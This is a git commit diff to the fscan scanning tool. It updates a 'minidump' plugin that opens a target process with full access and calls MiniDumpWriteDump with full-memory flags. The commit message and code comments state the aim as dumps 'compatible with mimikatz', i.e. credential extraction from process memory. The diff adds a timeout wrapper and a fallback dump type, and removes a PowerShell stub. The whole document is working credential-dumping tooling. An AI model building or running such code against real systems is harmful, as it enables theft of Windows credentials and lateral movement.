enhance: 优化minidump插件,支持mimikatz兼容的完整内存转储

This commit is contained in:
ZacharyZcR 2025-08-09 23:48:04 +08:00
parent a1c82d188b
commit 653a89b737

View File

@ -11,7 +11,6 @@ import (
"github.com/shadow1ng/fscan/plugins/local"
"golang.org/x/sys/windows"
"os"
"os/exec"
"path/filepath"
"syscall"
"time"
@ -234,27 +233,25 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
// 执行转储
common.LogDebug("开始执行内存转储...")
// 尝试使用系统工具进行内存转储
common.LogDebug("尝试使用系统工具进行内存转储...")
dumpErr := pm.dumpProcessWithSystemTool(pid, outputPath)
if dumpErr != nil {
common.LogError(fmt.Sprintf("系统工具转储失败: %v", dumpErr))
// 使用带超时的Windows API进行内存转储
common.LogDebug("开始使用Windows API进行内存转储...")
// 尝试使用API方式
common.LogDebug("尝试使用Windows API进行内存转储...")
err = pm.dumpProcess(pid, outputPath)
if err != nil {
common.LogError(fmt.Sprintf("API转储也失败: %v", err))
// 创建一个包含错误信息的文件
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nSystem tool error: %v\nAPI error: %v\nTimestamp: %s\n",
pid, dumpErr, err, time.Now().Format("2006-01-02 15:04:05")))
os.WriteFile(outputPath, errorData, 0644)
// 创建一个带超时的context完整转储需要更长时间
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
defer cancel()
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("所有转储方法都失败了"),
}, nil
}
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
if err != nil {
common.LogError(fmt.Sprintf("内存转储失败: %v", err))
// 创建错误信息文件
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
pid, err, time.Now().Format("2006-01-02 15:04:05")))
os.WriteFile(outputPath, errorData, 0644)
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("内存转储失败: %v", err),
}, nil
}
// 获取文件信息
@ -456,6 +453,23 @@ func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
return syscall.Handle(handle), nil
}
// dumpProcessWithTimeout 带超时的转储进程内存
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
// 创建一个channel来接收转储结果
resultChan := make(chan error, 1)
go func() {
resultChan <- pm.dumpProcess(pid, outputPath)
}()
select {
case err := <-resultChan:
return err
case <-ctx.Done():
return fmt.Errorf("内存转储超时 (120秒)")
}
}
// dumpProcess 转储进程内存
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
processHandle, err := pm.openProcess(pid)
@ -471,12 +485,39 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
defer pm.closeHandle(fileHandle)
common.LogDebug("正在调用MiniDumpWriteDump API...")
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
ret, _, err := miniDumpWriteDump.Call(
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
if err != nil {
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err)
}
// 使用MiniDumpWithDataSegs获取包含数据段的转储mimikatz兼容
const MiniDumpWithDataSegs = 0x00000001
const MiniDumpWithFullMemory = 0x00000002
const MiniDumpWithHandleData = 0x00000004
const MiniDumpScanMemory = 0x00000010
const MiniDumpWithUnloadedModules = 0x00000020
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
const MiniDumpFilterModulePaths = 0x00000080
const MiniDumpWithProcessThreadData = 0x00000100
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
const MiniDumpWithoutOptionalData = 0x00000400
const MiniDumpWithFullMemoryInfo = 0x00000800
const MiniDumpWithThreadInfo = 0x00001000
const MiniDumpWithCodeSegs = 0x00002000
// 组合多个标志以获得mimikatz可识别的完整转储
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType))
ret, _, callErr := miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
0x2, // MiniDumpWithDataSegs - 使用更安全的选项
uintptr(dumpType),
0, 0, 0,
)
@ -484,20 +525,45 @@ func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
if ret == 0 {
// 获取更详细的错误信息
lastError := windows.GetLastError()
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", err, lastError)
common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError))
// 尝试使用较小的转储类型作为后备
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType))
ret, _, callErr = miniDumpWriteDump.Call(
processHandle,
uintptr(pid),
fileHandle,
uintptr(fallbackDumpType),
0, 0, 0,
)
if ret == 0 {
lastError = windows.GetLastError()
return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogBase("使用后备转储类型成功创建转储文件")
}
common.LogSuccess("内存转储写入完成")
return nil
}
// openProcess 打开进程
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid))
proc := pm.kernel32.MustFindProc("OpenProcess")
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
proc, err := pm.kernel32.FindProc("OpenProcess")
if err != nil {
return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err)
}
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
if handle == 0 {
lastError := windows.GetLastError()
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", err, lastError)
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
}
common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle))
return handle, nil
@ -510,8 +576,12 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
return 0, err
}
createFile := pm.kernel32.MustFindProc("CreateFileW")
handle, _, err := createFile.Call(
createFile, err := pm.kernel32.FindProc("CreateFileW")
if err != nil {
return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err)
}
handle, _, callErr := createFile.Call(
uintptr(unsafe.Pointer(pathPtr)),
syscall.GENERIC_WRITE,
0, 0,
@ -521,35 +591,22 @@ func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
)
if handle == INVALID_HANDLE_VALUE {
return 0, fmt.Errorf("创建文件失败: %v", err)
lastError := windows.GetLastError()
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
}
common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle))
return handle, nil
}
// closeHandle 关闭句柄
func (pm *ProcessManager) closeHandle(handle uintptr) {
proc := pm.kernel32.MustFindProc("CloseHandle")
proc.Call(handle)
}
// dumpProcessWithSystemTool 使用系统工具进行内存转储
func (pm *ProcessManager) dumpProcessWithSystemTool(pid uint32, outputPath string) error {
common.LogDebug("尝试使用系统命令进行内存转储")
// 创建一个更简单的脚本避免复杂的PowerShell语法
psScript := fmt.Sprintf(`$proc = Get-Process -Id %d -ErrorAction SilentlyContinue; if ($proc) { $info = "Process: " + $proc.ProcessName + [Environment]::NewLine + "PID: " + $proc.Id + [Environment]::NewLine + "Memory: " + ($proc.WorkingSet64 / 1MB) + " MB" + [Environment]::NewLine + "Timestamp: " + (Get-Date) + [Environment]::NewLine; $info | Out-File -FilePath '%s' -Encoding UTF8; Write-Host "Success" } else { throw "Process not found" }`, pid, outputPath)
cmd := exec.Command("powershell", "-Command", psScript)
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("PowerShell转储失败: %v, 输出: %s", err, string(output))
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
proc.Call(handle)
}
common.LogDebug(fmt.Sprintf("PowerShell输出: %s", string(output)))
return nil
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(